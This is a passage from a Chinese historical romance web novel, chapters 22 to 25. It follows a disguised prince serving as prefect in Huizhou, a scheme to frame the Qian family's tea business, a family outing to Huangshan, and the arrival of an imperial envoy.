“好了,你们的意思朕已经听明白了。在事情没有查清楚之前,暂停钱记朝廷供奉之职,朕要派员到徽州调查知府周开徇私枉法之事,你们可有什么人选啊?” “皇上。”吏部尚书终于开口,“知府周开是科举状元,正经的天子门生,朝廷需派一位身份尊崇之人前往,才能彻底查明真相。” “恩,那朕就选派一位皇室成员,又不怎么在官场走动,没什么挂碍的人去好了。”皇帝看看大家,大家都一时想不起有谁符合条件,“这样吧,五皇子的伴读李博也是皇亲国戚,但是是远支了。他除了是皇子伴读也从来没有在朝廷上走动过,与什么人都没什么挂碍。如今五皇子出京体察民情,朕把他留下也是想要锻炼他,正好,让他去徽州锻炼锻炼吧。” 许丞相觉得李博前去不管对周知府怎么样,但是在钱记的事情上一定不会将火引到皇后身上,觉得派他去正和心意。李天时想派自己的人去,可是三皇子阵营中没有既是皇室又能办事的人,况且皇上已经开口了,金口玉言自己又没什么更好的人选,只好再想办法。 坤宁宫,丞相将此事一五一十告诉了皇后,“爹,直接把过错都推给茶庄不就好了,与我何干?” “就算是钱记的问题,如今也不能让他们有问题。” “什么意思?” “你的宫女连茶叶和老鼠屎都分不清,还给诸位命妇喝了,要这事是真的,你这个皇后的脸面往哪放?皇上的脸面又往哪放?” “爹,那个周开是您的人?” “我从未见过他。” “那他怎么如此机灵?帮了我们。” “也许只是凑巧,要是向我们示好,这个周开倒是十分通透,是个可塑之才。” “那现在怎么办呢?” “静观其变。” “爹,要是真如周开所说,钱记茶园被人陷害,那会不会是李贵妃他们,他们为什么突然想要陷害起钱记来了?会不会他们一开始就是想要牵连我呢?” “皇后,盲目的判断会导致错误的行动,现在我们还是静观其变的好。” 此时三皇子也在与李天时商量,“殿下放心好了,张海在徽州呢,他已经将火点起来了,那个余年现在虽然还没有完全算咱们的人,只要张海加把柴,他马上就要站在咱们这边了。” “嘿,舅舅,那个余年就算上位也就是个知府,能有什么大用!” “若是他是徽州知府呢?哈哈哈哈,恭喜三皇子啊,咱们可真是马上就要坐在金库上了。” “哦?哈哈哈,舅舅派去的人果然不负众望。不过,那个周开似乎很碍事嘛。” “不过刚刚当上知府,乳臭未干的毛头小子,我就不信,张海加上余年还能对付不了他。” “那个李博呢?他可是五皇子的人,会不会跟我们作对。” “应该不会吧,现在不可能有人知道是我们在徽州搞鬼,嘿,放心吧,李博和周开一样,连官场都没待过,好对付。我这就写信,让张海加紧拉拢余年,一起将钱记搞垮,要是在徽州收拾了李博,咱们还不少一个对手呢吗。” “哼哼哼哼,咱们自己培植一个朝廷供奉,再扶上去一个徽州知府,若是把李博也搞掉了,我看我这个五弟回来拿什么跟我斗!” “三皇子,大业可图啊!” “哈哈哈哈……” 这天,徽州知府衙门,娉婷坐在大厅正中间发呆。 “干嘛呢?”周启见娉婷闷闷不乐无精打采得看着院子,从早到晚一句话也不说,不知道又是谁惹她了。 娉婷保持姿势不动,只是眼睛瞟了周启一眼, “哥,你说那个陈明阳是不是跑了呀?” “你干嘛非得跟他较劲?这徽州人杰地灵的,要不过两天咱们去爬黄山吧。嗯?”周启摸了摸娉婷的头,宠溺地问到。 “不去。”娉婷别过脸又开始看着地面。 “那你想干点什么呀,上次你不说人家的园子好看吗?要不你再去人家做做客,别老一个人呆着。” “不去。” 周启无奈地看着娉婷,长出一口气,“你呀。我后天要去黄山,你要是不去别在城里胡闹,没准过两天咱们就回京去了。” 娉婷转头看着周启,“怎么突然要回京了呢?” “有人参我了,朝廷要派人来调查,一来人我可就暴露了,那咱们在这实在不安全,只能回去了。” “父皇不会派认识你的人的,放心吧。” “唉,当个知府也不容易啊。” “哥,你是好官。”娉婷忽闪着两只桃花眼,郑重地看着周启。 周启只笑了笑没再说什么。 第二十二章 一遇周郎误终身(上) - 风吹繁花散落时 - 红酒羊排 张海接到李天时的来信,正中张海下怀。 “怎么样?余大人,你还有什么可犹豫的。” “张老板,就算你背后是李大人,可是周开背后是皇上,皇上能这么快打自己脸吗?” “哈哈哈哈,余大人,越是这么快打了皇上的脸,皇上不才能越生气呢吗?您的人做的滴水不漏,就算周知府再怎么精明也不可能怀疑到自己人头上啊!” “哼,那可不好说,我看周开不是愚笨之人,若是他查到了我们之间的关系,难道就不会怀疑衙役有问题吗?” “大人,钦差大人马上就来了,若是周知府在钦差面前言行无措,那他还有什么机会调查钱记茶庄的事情?” “这钦差可不是李大人的人,我们还是谨慎些吧!” “哼哼,余大人,打从您叫衙役栽赃钱记开始,咱们就是一条绳子上的蚂蚱了,现在想撤伙,您不觉得晚了点吗?” “哼,张老板,你想弄垮钱记,我想当知府。只是咱们说好的,我就管派人去‘查出来’,剩下的事由李大人解决,怎么如今还是我自己想办法呢?” “余大人,事情已经到了这一步了,就差一哆嗦了,您就算是为了自保也应该自己想办法。毕竟您参奏了您的顶头上司,不扳倒他,您以后的日子可就……哈哈哈,咱们两人合作,还怕两个乳臭未干的毛头小子吗?” 余年这时候才明白,张海一步一步想要套牢自己,如今第一步自己已经迈出去了,想往回退可得小心了,“好,富贵险中求!就让本官好好盘算盘算。” 钱家百年传统,每年五月份末都会去黄山登山,体会世事艰辛,今年虽然官司缠身,钱万全还是组织全家出行,不仅为了缓解现在的紧张情绪,也为了告诉大家钱家不是这么容易打垮的。 周启带着所有人出发,一路上大家都很开心,娉婷也渐渐恢复了开朗的性格,不再想着找陈明阳报仇。 一行人一出城就碰到了钱家的大部队,娉婷骑着马追到钱朵身边。 “朵朵,朵朵,你们干嘛去?” “娉婷姐姐,你怎么在这?” “是我先问你的,你们干什么去?跑路吗?哈哈哈。” “别胡说。”周启追上妹妹,见她心情好了就开始胡闹起来。 钱朵原本也骑着马,与娉婷并肩而行,一看来了一位男子,皮肤白皙,浓密的眉毛下一双桃花眼,稳稳当当坐在马上,钱朵在闺阁中久了,很少见生人,疑惑地看着娉婷。 “哦,这是我哥哥,哥哥,这是钱朵,上次去钱家多亏她照顾我了。” 周启听了,对着钱朵露出了标准的皇家微笑,“多谢钱小姐照顾舍妹。” 这皇家微笑可不简单,既亲切又端庄,如春风拂面,一下子吹进了钱朵的心里,她觉得周启身上散发着魅力,好像一束金光中走来一位翩翩公子。钱朵看呆了,突然意识到自己的失态,赶紧收回目光,心却抑制不住地砰砰直跳。 “周大人。”幸亏此时钱万全骑着马赶了过来,“周大人这是去哪啊?” “哦,我们要去黄山,你们呢?” “真是太巧了,我们一家人都去黄山,这是我们钱家的传统。” “噗嗤,我还认为你们举家逃跑了,哈哈哈。”娉婷在旁边看热闹不嫌事大。 “哈哈,钱老板别在意,我妹妹就是喜欢胡说八道。” 娉婷两脚一用力,一马当先超过了钱家的队伍,周启向钱万全示意一下,也快马加鞭,一行人全都超过了钱家的队伍,一转眼就不见了踪迹,钱朵久久张望,直到路上的尘土也散尽了,失落之情油然而生。 吴怡也躲在队伍里张望,她早早看见周启兄妹一行,觉得现在见面实在无法解释,心中害怕甚至后悔起来,心想谎话说多了的却不行啊! “少东家,少东家。”吴怡追上钱宁想打探打探。 “吴怡,怎么了?” “嘿嘿,少东家刚刚那不是周大人吗?” “是啊,听说也去黄山。” “也去黄山?”吴怡不自觉提高了嗓门。 “是啊,怎么了?” “啊?哦,没事,我想说这黄山真是好地方。” “是啊,每年不知有多少文人墨客慕名而来。咱们周知府是状元出身,徽城离黄山这么近,他肯定会想去一睹黄山的风采。” 吴怡心想周大人知道自己在钱家做工倒是没什么,要是让钱宁知道自己之前是在周大人家里做工真是大大的不妙。吴怡原本还庆幸,虽然老夫人不来,还是发了慈悲叫她和大家一起来,毕竟这可是吴怡第一次有机会到黄山。吴怡一路上兴奋异常,直到遇到“可怕”的周知府。 到了客栈,钱家早就将所有的房间都预订了,周启一行在旁边的客栈休息,这让吴怡松了一口气。 张灵与钱朵在院子里散步以活动筋骨,吴怡厚着脸皮走了过来,“大小姐,张小姐。” “吴怡,你也来活动活动,总是骑马怪累的。” “恩,是,我也活动活动。”吴怡心里的小九九又开始活动了,在两位大小姐面前抻抻胳膊踢踢腿,瞧准了机会说到,“张小姐,一看您就是经常出门的。” “只是跟着哥哥出过几次门而已。”张灵说话向来慢条斯理,不紧不慢的。 “张小姐,我们女孩子也能做生意吗?” “有什么不能吗?” “我以前从来没有见过女人做生意的,都是活不下去了的女人才抛头露面呢。” “吴怡。”钱朵觉得这话实在失礼,毕竟晋商虽然还是雄踞一方,但是与徽商比已经风光不在。 “朵朵,不碍事。你叫吴怡?那你为什么抛头露面?” “我?家里穷呗,不出来就只能饿死。张小姐,你呢,你家庭条件那么好,干嘛还东奔西跑的呢?” “吴怡,那我应该怎么样?躲在闺阁里一辈子也不出来吗?” “嘿嘿,张小姐这样有什么不好吗?平平稳稳的多好啊。” “出去能遇到很多人,经历很多事,心胸也会宽广许多,况且,我很喜欢做生意呢。” “不过也是啊,做生意好啊,一次就能赚很多钱,总比我们这些没见过世面的人厉害百倍。” “我们商家做生意有赔有赚,若只想着吃饱饭也容易,可是终不成器,若想飞黄腾达却是难上加难。不过,我喜欢做生意,不是为了金银财宝,我喜欢流通货物,喜欢与人打交道,喜欢天高海阔任我翱翔的感觉,所以我才做生意。” “张灵姐姐,天也不早了,咱们回去吧!” “好。”张灵对吴怡笑笑,与钱朵缓缓回到房间里。 吴怡听了这番话,心里有一种说不出来的感觉。自己从来没有想过喜欢什么,吴怡走南闯北只想活下去而已,能过一天是一天,若不是逼得没办法谁愿意四处漂泊呢。可是眼前的这位大小姐,可以拥有自己最向往的生活,却选择了漂泊,选择了远方,吴怡再一次感觉到了人与人之间的差距。钱朵与张灵已经回房了,吴怡还呆呆站在院中。 “吴怡?” “哎,少东家,你也来活动筋骨啊?” “我看见你在这,发什么呆呢?” “没什么”吴怡眼神明显暗淡下去了。 “怎么了?是不是累了?” “少东家,你说我这种人是不是永远只能做个丫头?”吴怡原本低着头,又摇晃着身体抬起头,眼里含泪却笑着说到,“嘿嘿,少东家,我以前甚至从来没想过这个问题。” 钱宁一时不知该说些什么,举起手想拍拍吴怡的肩膀,最终还是忍住了,“吴怡……” “嘿嘿,少东家,你又是为什么开始做生意的呢?” “我?我家里就是做生意的,所以我就……,不过啊,我小时候去柜上,看见算盘巴拉巴拉响,觉得十分悦耳,所以从小就在柜上混着。后来大家也愿意教我一些做生意的道理,我也就慢慢上手了。” 吴怡点点头,“恩,少东家我也不怕你笑话了,我还以为我也能学学做生意呢,毕竟我在全是商人的徽州,哈哈哈,你说我是不是很傻。” “怎么会呢?你知道吗,我就认识很多白手起家的人,我的祖上也是从炒茶师傅一点一点经营出一座茶园,后来才有了钱记。若是你想学做生意,我可以教你啊。” “真的?”吴怡一下子又充满了干劲,“少东家,你说的是真的吗?” 钱宁见吴怡态度突然来了一个一百八十度大转变,又一时不知道说什么好了,“哈哈哈,那你想做什么生意呢?” “嗯……” “那你算术怎么样呢?” “算术我没问题啊,我打小算术就很快呢!” “哈哈,好,那你先想想你想做什么生意,然后将自己的想法先写下来,然后我可以帮你分析分析。” “写下来?嗯……”吴怡突然又不好意思起来。 “怎么了?你,你会写字吗?” 吴怡摇摇头,又不好意思的笑了笑。 “没关系,你先想,回头告诉我也行。” “嘿嘿,谢谢少东家!”吴怡给钱宁鞠了一躬。 钱宁转身要离开,突然有转身问吴怡,“吴怡,你会写自己的名字吗?” “名字?不会。” “来,我教你。”钱宁捡起一个小树枝在地上写下:吴怡。 这一晚,吴怡站在巨大的“吴怡”面前良久,月亮如此明亮。隔壁的客栈中,周启站在院中想起了远在京城的父母。连锁拿出埙吹奏起来,曲音低沉婉转,飘扬在夜空中。 钱朵打开窗子正好能看见周启正站在院中赏月,钱朵双手覆在窗框上,头枕着胳膊就这么呆呆看着。 第二十三章 一遇周郎误终身(下) - 风吹繁花散落时 - 红酒羊排 第二天天还没有完全放亮,两拨人都开始上山了。钱家的规矩,前十名到达光明顶的人都有奖,最多的有十两银子,大集都摩拳擦掌,往山顶冲去。可是黄山道路崎岖,也有人开始就放弃了,看看沿途风景慢慢悠悠走在山路上,适可而止而已。 周启一行则不同,没有奖励所有人却势必要到达山顶,大家斗志昂扬,不一会儿的功夫就和钱家的大部队拉开了距离。 吴怡慢悠悠走着,见钱宁与张家兄妹缓步登山,也凑了过来。 “你怎么没有去争奖品呢?” “嘿,我每个月已经有十两银子的月例了,这次就让他们去得吧!” 三人慢慢前行,在迎客松不远处就歇脚,这里鸟语花香也别有一番韵味。很多钱家家丁也在这里休息,女孩子们叽叽喳喳,小厮们也一改往日死板的态度。吴怡突然大喊起来:“猴子!快来看啊!那呢!” 远处的猴子听见吴怡大喊早就跑得不见踪影,等大家凑过来已经只能看见晃动的树枝了。 “吴怡,你骗我们呢吧,哪有什么猴子?” “刚才真的有猴子,是你们没有运气没看到。” “哎,吴怡,猴子长什么样子,我还从来没有看见过猴子。” “猴子,就这样。”吴怡一下子跳到亭子的栏杆上,“啊哇哇”地学起猴子叫来,又蹲下用手反着挠挠脖子挠挠腿,又跳到大家身旁用手捣弄大家,逗的大家都笑了起来。 “吴怡,你学的可真像啊。” “你以前是不是见过猴子啊?” “嘿嘿嘿,我小时候家里养了一只猴子,我爹带着我们去摆地摊练杂耍赚钱糊口的。这猴子啊可聪明了!还通人性呢,有一次我掉在水里,猴子去叫我爹把我救起来的。” 亭子的另一边张浩也觉得十分有趣,“哈哈,钱兄,你家这个丫头还真是十分有趣呢。” 钱宁也满眼含笑,只点了点头没有说话,旁边的张灵全都看在眼里。 山上,钱朵拼尽全力向山顶*进发,她从来没有登顶过,但是这次周启在前,钱朵的脚已经顾不得累了。 钱朵终于在半山腰的莲花亭处赶上了周启,“周大人好。”钱朵稍微整理仪容,从容而来。 “钱小姐。”周启只坐着稍微点头示意。 钱朵心脏蹦蹦直跳,她不清楚这是爬山累的还是怎么了,“周大人,娉婷姐姐呢?” “她已经带人上去了。” “娉婷姐姐真是厉害。” “哈,钱小姐也很厉害,我看还没有几个人上来呢。” 钱朵听周启夸奖自己小鹿乱撞,腼腆地低下头。 “钱小姐也来坐吧,休息一会,我看应该还有挺长的路呢。” “好啊,谢谢周大人。”钱朵缓缓而行,慢慢坐在周启身边,对着周启笑了笑,周启也回以微笑便看向别处。钱朵觉得脸上发烫,呼吸都急促起来,钱朵只能不易察觉的转过头偷偷调匀了气息。 “我们走吧!”周启忽然站起来,招呼连锁和侍卫们,所有人应声而起,钱多也站了起来。 “大人,我和你们一起吧。” “你不再休息一会儿了吗?” “我还不累呢,咱们快去找娉婷姐姐吧。” “好,那我们走吧。” 一行人继续爬山,很快来到百步云梯,这云梯再往前就是一线天,全部道路狭窄只能容纳一人通过。 钱朵紧紧跟在周启身后,甚至有两次周启还回头拉了钱朵让她小心。幸亏这里只能一人通过,钱朵的脸烧红了也没有人看见。一行人往前走着,钱朵的腿早已经不听使唤,不过就是机械性得往前跟着周启。天气也热起来,钱朵的脸更红了。 “你累了吧?瞧你脸红的。” 周启掏出随身的手帕,用身上的水壶浇上一些水亲自给钱朵擦额头,手帕凉凉的,钱朵的脸却更红更热了。两人四目相对,周启再一次展现出皇家微笑,钱朵彻底沉沦了,她觉得周围的一切似乎都模糊起来,山中的鸟鸣花香与周启相比都黯然失色。 “钱小姐?钱小姐?” “啊?”钱朵终于听见周启再叫自己。 “钱小姐,咱们到那边歇会儿,这手帕给你。” “恩,好,谢谢周公子。” 刚没走两步又歇着,侍卫们面面相觑,连锁心想:佳丽在侧,还能有心思爬山吗?只能无奈地招呼侍卫们都找地方坐下。 钱朵再一次与周启并排而坐,也不再紧张了,“周公子是哪里人啊?” “京城。” “京城?京城很热闹繁华吧?” “和徽州差不多。” “家里只有娉婷姐姐一个姐妹兄弟嘛?” “还有一个哥哥和几个弟弟,姐妹们也有,不过我和娉婷是双生子,感情自然好一些。” “双生子?真好,从小就有一个体己的人。” “你哥哥比你大很多吗?” “哥哥别我大七岁,小时候都是他带着我玩耍。” “那也挺好的呀,我小时,因为娉婷是女孩又是妹妹,我爹娘都让我让着她,所以她现在无法无天的。” “哥哥总是最疼妹妹。” “哈哈哈,我也是没办法,她一哭我就没办法了。” “真羡慕娉婷姐姐。” “钱宁应该也很疼你吧?” “哥哥是很疼我,但是近来因为他都在外边做生意,我们兄妹见面的时间也越来越少,我一直在内院,不能帮上什么忙。” 周启想起前几天还去钱家茶园调查,知道钱家现在应该都很紧张,“朝廷的事情很难说清楚,但是一定不会冤枉钱家的,我一定会调查清楚。” “多谢周大人!我相信爹和哥哥,我也相信周公子!” “我们继续往前走吧?” “好!” 光明顶近在眼前了,娉婷带着侍卫们冲了过去,“我第一!” 大家都气喘吁吁,汗水已经浸湿了衣裳。娉婷在光明顶左右张望,黄山如此雄伟,远处的云海在太阳的照样下显得格外美丽,奇山俊石尽收眼底。娉婷双手放在嘴旁形成一个喇叭的形状,对着云海大喊;“黄山!我们来了!我第一!哈哈哈哈!”又过了一会儿,娉婷继续喊到:“陈明阳,你这个混蛋!我一定剁了你!” 过了很久,大家基本上都到达光明顶,钱万全趁机来到周启身边,“大人,这黄山景致如何?” “钱老板是想问我朝廷作何打算吧?” 钱万全没想到周启如此直接,“大人,朝廷的决断不是我一个商户能够左右的,大人虽然是一州长官也不能决定。” “钱老板明白就好。钱老板,您就没有什么想跟本官说的吗?” “周大人,规矩小民还是懂的,风闻言事是要被治罪的。” 周启明白这句话,就是钱万全知道是谁陷害自己,可是没有证据不能随意说出,“钱老板,在这黄山之上只有你我二人,我自有判断 。” “大人,小民不是信不过大人,只是小民所有的判断依据也是听别人说的,实在无法告诉大人。” “哼,好吧,本官知道了,我们要下山了,钱老板,请了。娉婷,走了!” 娉婷早就玩够了,还打算为了明天去后山游玩节省点体力呢,所以什么都没有说就跟着周启下山去了。 钱朵恨不得跟着一起走了,又怕钱万全和钱宁看出什么,实在不像话,只好忍住了。 “爹,为什么不告诉周大人呢?” “这个张海前脚找我们谈合作没有了下文,后脚宫里的贡茶就出事了,张海绝对连着后宫呢。如是我们现在告诉周大人,原本我们钱家与张海的较量就变成了周大人与后宫的较量,对他实在太不公平了。” “爹,如今我们钱记已经是生死存亡了。” “不错!不过钱宁,我们钱记这么大的买卖,每天都有可能是生死存亡,我们所做的每一个决定都有可能会毁掉钱记百年基业,让上千名伙计没有了收入来源,让中原大多数地区断绝了物资供应。但是钱宁,你要明白,没有一个商号是不可取代的。我们不做的生意一定会有人做,我们的朝廷供奉若没了,宫里不会不喝茶了,但是我们茶园一定要活下去才行!” “爹,朝廷真的会停了我们的供奉吗?” “过两天就知道了,但是这之前我们要做最坏的打算,听天命尽人事吧。” “爹,那……”钱宁想想最坏的情况就是朝廷供奉没有了,钱记茶庄被封,甚至钱家的当家人也会被抓。 “哈哈哈,我知道你想问什么,想我钱万全商场沉浮数十载,什么大风大浪没有见过。况且这次我们还是有翻盘的机会的,只要抓住栽赃我们的人,我们钱记一定不会有事的。” “爹,周知府若是顶不住压力呢?他会拿我们钱家去换官运吗?” 钱万全看看下山的道路,长出了一口气,“看来我们钱家要自己调查了,一定要抓紧时间,随机应变!” “从哪里调查呢?” “先从咱们自己茶庄开始,再调查张海所有接触过的人,让咱们钱记所有分号都盯紧张海,他的一举一动我们都要知道!” 第二十四章 另寻出路 - 风吹繁花散落时 - 红酒羊排 第二天,钱家大部队稍作调整便打道回府,周启一行继续在黄山游玩。吴怡没了顾及,心情也好了很多,钱宁却愁眉不展。钱朵因为昨天用光了所有的力气,晚上又因为透过窗户张望周启半夜三更还兴奋异常,现在有些恍恍惚惚。张浩骑马过来询问,钱朵只说是累了,张浩一路上给钱朵讲晋中的事情,钱朵强打精神,终于回到了钱家,倒头就睡。 钱家现在的气氛越加紧张,钱宁每日组织人手调查茶园的事情,终日愁眉不展。这日,钱宁给钱老夫人请安后出来,正看见吴怡在院子里搬花。 “少东家。”吴怡虽然看上去很费力的样子,却还是笑呵呵的。 “怎么就你一个人?”说着钱宁已经上来帮忙。 “少东家,不用,我自己能搬,这就搬完了。” “好了,你怎么没有叫人一起来呢,也快点。” “嘿,我看大家都在忙,少东家,这不算什么,你看我这不都搬完了吗,嘿嘿。” 钱宁看着吴怡一直乐呵呵的样子,突然羡慕起来,只是笑了笑。 “少东家,你是不是不开心啊,最近我看你都愁眉不展的。” “哦,没事,生意上的事情而已。” “少东家,是不是茶园的事情啊?少东家,周大人不是向着咱们的吗?你也不用太担心了。” 钱宁无法对吴怡说出复杂情形,只能笑了笑,“是啊,希望周大人能查明真相,还我们钱家一个清白。” “嘿嘿,少东家,梅子熟了,我明天想出去买点,可以做梅子酒,还可有腌梅子,这梅子要是在嘴里没味的时候吃上一个可好了,又开胃又美味,我就是不知道老夫人喜不喜欢。” “梅子啊,梅子好啊,奶奶她应该会喜欢的。” “嘿嘿,那就好,少东家,等梅子酒弄好了,我也给你送去点,一醉解千愁。” “呵呵呵,好啊,那先谢谢你了。”钱宁终于展露了笑容,“那个,我还有事,我先走了。” “恩,好,少东家。”钱宁还没有走出院子,吴怡又再后边喊了一句,“少东家,你是好人,一定会没事的!” 钱宁站在门口,见吴怡站在一大片花前面,咧着嘴还像遇到了什么好事似的,钱宁不知说什么,也笑了起来,冲吴怡点点头,心情也好了很多,踏着轻快的步伐走了出去。 第二天,钱家接到了朝廷暂停钱记朝廷供奉的御旨,钱宁、张家兄妹在花厅与众掌柜一起等着钱万全拿主意。 “这也是意料之中的事情,幸亏茶园没有被封。茶园的茶叶继续生产,我们就需要新的市场和销路。不过朝廷重新选定了新的供奉,那市场就一定会空出来一些,但是大家肯定虎视眈眈看着呢,我们一定要赶紧抓紧时间才行。张浩,张灵啊,这次恐怕要倚仗张家在南方的销售网了。” “钱伯伯,我们两家关系非比寻常,我现在就回去找我爹商量这事,希望能与钱记一起在南方占有一席之地。” “钱伯伯应该也知道,这南方的茶大多数贩卖到北方贩卖,北方不产茶市场却很大的,钱伯伯有没有考虑去北方争夺一下呢?”张灵建议到。 “我昨天考虑了,南方产茶更爱喝茶,北方不产茶也喜欢喝茶。在南方销售离得近,去北方赚的更多一些。我们现在先占住南方市场,以后看看情况,若能抢回朝廷供奉自然最好,若是不能,我们再去北方。” “钱伯伯……”张灵希望能说服钱万全,张浩一把拉住,“妹妹,我明天要回晋中了,不如你先住在这,我过两天也就回来了。” 张灵不明白钱万全为什么放着广阔的北方市场不要非要死守着竞争激烈的南方,可是这毕竟是人家钱家的事情,她也不好说什么。虽然两家的长辈都希望两家成为一家,她这次来也是父母希望她能够和钱宁好好相处,为以后成为一家人做准备。可是张灵有自己的打算,她最喜欢的是做生意,别的事情根本不放在心上,对于钱宁也没有什么特别的感觉,对钱记茶园倒是充满了兴趣。 “哥,今天在花厅你干嘛不让我把话说完呢?” “这是人家的事情,钱伯伯已经决定了,咱们能帮着点就帮着点,对我们张家没坏处。” “哥,我想说服钱伯伯将茶卖到西凉去,西凉那地方……” “张灵,钱记家大业大,他们现在是想求稳,毕竟在这样的时刻,如是再出什么事情,在商场上的影响就无法挽回了。况且我们张家在西凉受到的压力也不小,陈家低价竞争让我们损失不少。况且西凉最近也不太平,如能借着这次机会在南方站住脚跟,也是好事。” 第二天,张浩离开徽城向晋中出发,李博却带着钦差的头衔兴高采烈的进了徽州城。李博是朝廷中唯一知道徽州知府就是五皇子的人,自他接到皇帝的御旨被册封为钦差开始,李博就心情起飞,心想:周启啊周启,你小子也有落到我手里的一天,哈哈哈,想想就觉得爽! 周启带着全府迎接钦差,李博一进门咧着嘴冲周启一笑,周启差点气乐了,不过碍于很多人在,还是站好恭恭敬敬向钦差大人抱拳施礼。李博简直兴奋地要跳起来,使劲憋住脸上的笑意,得意地看着周启,周启真想好好教训一下李博。 余年热情殷勤地向前施礼,“钦差大人舟车劳顿,下官已经派人将驿站打扫干净,请大人先到驿站休息。” “恩,好。”李博由余年引领着往驿站而去,周启才不想应承他,自己带着人回府了。余年巴不得这样,热情周到地伺候李博。 “大人,这茶是正宗的祁门红茶,您尝尝。” “恩,不错。” “哈哈哈哈,钦差大人是第一次来我们徽州?” “恩,本官从未出京,这次得皇上钦点,才能有幸来此地。” “大人,我们徽州可是人杰地灵,这里离黄山很近,大人可以到那里去看看,这徽派的建筑,徽州美食都是别有一番风味啊。” “恩,有劳余大人了。” 余年稍微顿了顿,“大人,原本周开大人应该招待您的,只是这周知府状元出身,也是刚刚步入官场可能有些……哈哈哈哈,大人不要介意。” 李博虽然脸上笑着,心里却想把余年这张大肥脸打飞,心想:五皇子是你能议论的吗!还敢在周启背后暗示他傲娇,哼,人家一个皇子状元,正经的知府,傲娇怎么了! “大人……” “余大人,本官有些累了,你先回去吧!” 李博突然板起脸,余年以为他是生了周开的气,心满意足离开。李博看着余年硕大的背影,心生厌恶。 陈千朗发起愁来,好不容易就要到手的朝廷供奉没了。最近他让伙计们一直盯着娉婷呢,这位大小姐似乎忘记了陈明阳的不敬,每天在徽州城里逛吃逛吃,招猫递狗,而且是真的把流浪猫狗聚到一起天天喂食。张海没了消息,陈明阳去了大同,钱记似乎已经开始找茶叶的新销路,这就意味着有一场茶叶之战马上就要打响。 陈千朗正在前厅转磨,老太爷拄着拐走了过来,“千朗啊,千朗。” “爹,您怎么来了?”陈千朗赶紧过来扶着老太爷坐在椅子上。 “千朗啊,你干什么呢?” “爹,你终于认得我了。” “嘿,臭小子,你光着屁股的时候爹就抱着你,还能不认识你啊。你第一次出去做生意,我可是两天没有睡着,嘿,你小子还真给爹长脸。你带回来的手串啊,爹现在还带着呢,你看,就这呢。” “哈哈哈,爹,这都多少年了,也总有将近四十年了。” “哪有那么长时间,要有这么长时间我不都得抱孙子了。” 陈千朗看这是又糊涂了,心想:算了,只要认得出自己就行了,“成,爹,我肯定给你生个大孙子,将来也能出去跑生意,光大我们陈家。” “好好好。”老太爷乐呵呵,忽然凑近了陈千朗小声说,“儿啊,爹给你找媒人算了八字,就在这呢。”老太爷翻找袖口,“哎,怎么没了。” “爹,您别找了,我还不着急成亲呢。” “胡说,你都多大了?再说了,你能等,人家王家小姐能等吗!” 陈千朗一听王家小姐整个人都定住了,心里像碎了一般疼了一下,“爹,您,您别胡说。” “这怎能能是胡说呢,钱万全那个小子还想打王家的主意,哼,他做梦去吧!他哪有我儿子俊朗帅气。我跟你说啊,爹都盘算好了,咱们跟王家一结亲,你啊,在这徽州城就是最大的商家了,以后……” “爹,别说了!” “瞧你,怎么了!这为了生意结亲的多了,再说了,你不是也喜欢这王家小姐?这可是一举多得的好事,咋着,你还真想便宜了钱万全那个小子啊?” “爹,人家王家小姐不喜欢我。” “啥?那她喜欢谁?嘿,这个王瘸子,他昨天还说结个儿女亲家!嘿,不成,我得找他去!”老太爷住着拐要站起来。 陈千朗一把拦住,“哎呀,爹,爹,人家姑娘不喜欢我,您找她爹有什么用!算了,天下这么多人,还能没有一个人喜欢我吗!” “对对对,王瘸子家的臭丫头没福气,我儿子想找什么样的找不到,哼,咱才不要她呢!” 陈千朗的心又疼了一下,想想这得是快二十五年前的事了,可是真的好像就发生在昨天。 第二十五章 共酿梅子酒 - 风吹繁花散落时 - 红酒羊排 李博在驿站中乔装打扮来到知府衙门后门,连锁就在次等候,“李大人” “呦,五皇子知道我要来啊?” “嘘,李大人小声点,现在得叫周大人。” “哦,对对对,周大人,人呢?” “书房等着您呢,您快进来。” 两人小心谨慎进门,连锁四处张望见没人跟踪,又带着李博贴着墙根走。 “干嘛?” “小声点,这衙门里有两个外人在厨房帮忙。” “哦,你去叫他们出去买菜不得了。” 连锁看了一眼李博,“嘿嘿,我没想到。” “笨死你算了。” 李博终于“偷偷摸摸”来到书房,一进门见周启背对着门在看书,李博恭恭敬敬给周启施礼,“五皇子。” 周启也不看他,也不动,还在看书。 李博偷眼看了一眼,更加大声的说了一句,“周大人!” 周启终于回身,瞪了一眼李博,缓缓走到书桌旁将书扔在桌子上,稳稳当当坐在椅子上,“钦差大人有何见教啊?” 李博自己站直了,“嘿嘿,不敢不敢。五皇子,好久不见!嘿嘿。” 周启没好气得看着李博笑呵呵的样子,将桌子上的书又拿起来冲着李博让过去,“不早来你!” 李博一把接过来,“我早想来了,我可是快马加鞭,现在我还一口水也没喝上呢。”说着,李博已经走周启近前。 “得了吧!那个余年没有好好款待你吗?” “款待了,正宗的祁门红茶,嘿嘿,还说你坏话了呢。” “哼,我就知道。哎,我父皇有没有给我带话啊?” “那倒没有。” “一句话也没说?” “真没有,就让我来,那态度就好像他不认识你似的。” “唉。”周启长出一口气,“算了,你打算怎么查案啊?” “嘿嘿。”李博两只胳膊撑在桌子上,与周启面对面,“周大人,指条明路呗?” 周启用手做了一个过来的动作,等李博靠的近了,周启小声在李博耳朵边上说,“你自己查啊。” 李博看了一眼周启,心想:说得轻巧,就好像这事跟你没关系似的。“那老鼠我上哪逮去!我看这案子啊,不好弄。” “皇上派你来,你要是什么也没查出来,那回京可是太丢脸了吧!”周启一副看热闹不嫌事大的表情。 “呦,那我要是上报朝廷周知府徇私枉法。”李博用手使劲拧了一下自己的鼻子,“你说你老爹的鼻子会不会气歪了!” 周启看了一眼李博,终于笑了出来,“切。” 两人正在屋里商量,娉婷蹑手蹑脚走过来,李婶从厨房出来,正看见大小姐趴在门框上偷听,李婶不好说什么又转身进了厨房。 娉婷正趴在门上呢,门突然从里边打开,娉婷一下子摔进屋里,“哎呦。”娉婷坐在地上,手摔得生疼,定睛一看,“嘿,李博!” “嘘嘘嘘,小点声!”李博赶紧过来看看,门外,哐当一声将门关上。 “你们干嘛呢?”娉婷一骨碌爬起来。 “你干嘛偷听!” “我……我刚刚看见连锁鬼鬼祟祟,我还以为哥哥藏女人了呢。” 周启还坐在椅子上呢,听见这话真是打心眼里服气这位大小姐,“哎!” “哈哈,大小姐,要是人家周知府藏了女人,你更不应该来偷听啊!” “你们两个!” “哈哈哈,哥哥别生气,我这是为了帮你证明你严于律己,端庄自持!” “哈哈,对,我也能证明。” 